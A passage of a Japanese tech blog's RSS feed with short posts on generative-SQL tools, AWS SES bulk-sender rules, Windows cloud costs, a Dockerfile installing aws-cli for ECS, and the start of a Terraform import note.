&lt;/ul&gt;
&lt;h2 id="amazon-redshiftamazon-q-generative-sql"&gt;Amazon Redshift/Amazon Q generative SQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/sasashu/articles/b00e41a92f707e"&gt;自然言語から SQL のクエリ生成ができる Amazon Q generative SQL を触ってみた（プレビュー）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/20231130-amazon-redshift-amazon-q-generative-sql/"&gt;[速報] Amazon Redshift クエリエディタが Amazon Q generative SQL の新機能が発表されました（プレビュー） #AWSreInvent&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="amazon-bedrock"&gt;Amazon Bedrock&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;LLM: Claude 2&lt;/li&gt;
&lt;li&gt;&lt;a href="https://textcortex.com/ja/post/claude-2-vs-gpt-4"&gt;アンソロピックのクロード 2 Vs GPT-4（徹底比較）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/minorun365/items/fbbd26a71b4e72fc883c"&gt;OpenAI の GPT シリーズと Bedrock の Claude をコスト比較してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pingcaptidb"&gt;PingCAP/TiDB&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pingcap.co.jp/chat2query-ai-powered-sql-generator/"&gt;ChatGPT を搭載した革新的な SQL ジェネレータ「Chat2Query」とは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://recruit.gmo.jp/engineer/jisedai/blog/chatgpt-x-mysql-shell/"&gt;ChatGPT × MySQL Shell：SQL を AI に考えてもらうプラグイン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="azure"&gt;Azure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/masakikato/articles/azure-openai-prompt-sql"&gt;Azure Open AI Service で SQL を生成するプロンプト例&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.mynavi.jp/techplus/article/20231214-2841323/"&gt;日本語プロンプト指示で SQL 文を生成できるデータベース開発支援ツール - システムインテグレータ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fabric"&gt;Fabric&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ttps://learn.microsoft.com/ja-jp/fabric/get-started/microsoft-fabric-overview"&gt;Microsoft Fabric とは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://learn.microsoft.com/ja-jp/fabric/data-warehouse/data-warehousing"&gt;Microsoft Fabric のデータ ウェアハウスとは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ryoma-nagata/items/daeebd71e40312a42e22"&gt;Microsoft Fabric の組み込みの AI モデルで自然言語に対する解析・分析をしてみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="snowflake"&gt;Snowflake&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/https-www-snowflake-com-blog-generative-ai-llms-summit-2023/?lang=ja"&gt;Gen AI と LLM をデータに導入しよう&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/nd31bd136a23d"&gt;AI 機能を使って、SQL なしで Snowflake のデータを分析する方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/https-www-snowflake-com-blog-snowpark-container-services-deploy-genai-full-stack-apps/?lang=ja"&gt;Snowpark Container Services:Snowflake で洗練された生成 AI とフルスタック アプリを安全に展開して実行する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.snowflake.com/blog/use-ai-snowflake-cortex/?lang=ja"&gt;Snowflake Cortex で AI を数秒で使用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/guides-overview-ml-powered-functions"&gt;Snowflake Cortex ML ベースの関数&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/motoy3d/items/3104b1d67368bbd09d93"&gt;Snowflake Cortex について調べてたら凄いワクワクしてきた！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="morph"&gt;Morph&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.morphdb.io/"&gt;https://www.morphdb.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/n63286393c2c2"&gt;データのための、Notion や Figma のようなツールをつくりたい&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/morph_db/n/n0e41edc71e9b"&gt;Figma や Miro のように直感的なデータ分析体験を！Canvas 機能のご紹介&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: SES</title><link>https://hdknr.github.io/blogs/posts/2024/01/aws-ses/</link><pubDate>Wed, 31 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/aws-ses/</guid><description>&lt;h1 id="aws-ses-スパム"&gt;AWS: SES: スパム&lt;/h1&gt;
&lt;p&gt;In a move to safeguard user inboxes,
Gmail [1] and Yahoo Mail [2] announced a new set of requirements for senders.
Effective February 2024,
the new requirements affect email senders who distribute over 5,000 bulk messages per day
or have &amp;gt;0.3% of messages reported as spam.
Failure to comply with new requirements may result in Gmail and Yahoo rejecting message delivery to their customers.&lt;/p&gt;
&lt;p&gt;Your account has at least one email address identity sending email without a matching verified domain identity.
This may result in reduced ability to send to some email recipients.&lt;/p&gt;</description></item><item><title>Windows: クラウド利用</title><link>https://hdknr.github.io/blogs/posts/2024/01/windows-%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E5%88%A9%E7%94%A8/</link><pubDate>Mon, 15 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/windows-%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E5%88%A9%E7%94%A8/</guid><description>&lt;h1 id="windows-クラウド利用"&gt;Windows クラウド利用&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/ncdc/articles/1f9273f1a8cda2"&gt;「Azure は AWS より安い」は本当か&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Windows Server と SQL Server 向けでは、AWS は Azure と比べて 5 倍のコストがかかります&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ECS: aws-cli</title><link>https://hdknr.github.io/blogs/posts/2024/01/ecs-aws-cli/</link><pubDate>Sun, 07 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/ecs-aws-cli/</guid><description>&lt;h1 id="ecs-aws-cli"&gt;ECS: aws-cli&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;unzip&lt;/code&gt; は入っていること&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-Dockerfile" data-lang="Dockerfile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; BASE_IMAGE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;myimage-cicd-appbase&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; TAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;latest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${BASE_IMAGE}:${TAG&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt; as server&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; USERNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; GROUPNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; PASSWORD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; UID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ARG&lt;/span&gt; GID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ENV&lt;/span&gt; APP_BASE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/src/app &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; LIB_BASE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/src/lib &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; POETRY_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.0.10 &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/root/.poetry/bin:&lt;/span&gt;$PATH&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; mkdir -p /var/run/gunicorn &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mkdir -p /storage&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; apt-get update &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get install -y sudo&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; groupadd -g &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;GID&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;GROUPNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; useradd -m -s /bin/bash -u &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;UID&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; -g &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;GID&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; -G sudo &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;USERNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; --home-dir &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;APP_BASE&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;USERNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;PASSWORD&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; | chpasswd &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;USERNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt; ALL=(ALL) NOPASSWD:ALL&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; /etc/sudoers&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# aws-cli&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; curl &lt;span style="color:#e6db74"&gt;&amp;#34;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&amp;#34;&lt;/span&gt; -o &lt;span style="color:#e6db74"&gt;&amp;#34;awscliv2.zip&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; unzip awscliv2.zip&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; sudo ./aws/install&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Application&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;COPY&lt;/span&gt; . &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;APP_BASE&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WORKDIR&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${APP_BASE&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; pip install pip poetry urllib3&lt;span style="color:#f92672"&gt;==&lt;/span&gt;1.26.15 -U &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; poetry config virtualenvs.create false &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; poetry install &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; pip install urllib3&lt;span style="color:#f92672"&gt;==&lt;/span&gt;1.26.15 pyOpenSSL -U&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; chown -R &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;USERNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;GROUPNAME&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;APP_BASE&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; chmod &lt;span style="color:#ae81ff"&gt;777&lt;/span&gt; /run/gunicorn&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;USER&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${USERNAME&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CMD&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;/usr/src/app/docker/codebuild/entry_web.sh&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;/usr/src/app&amp;#34;&lt;/span&gt;]&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Terraform: Import</title><link>https://hdknr.github.io/blogs/posts/2024/01/terraform-import/</link><pubDate>Sun, 07 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/terraform-import/</guid><description>&lt;h1 id="terrafrom-import"&gt;Terrafrom Import&lt;/h1&gt;
&lt;h2 id="ドメイン認証"&gt;ドメイン認証&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
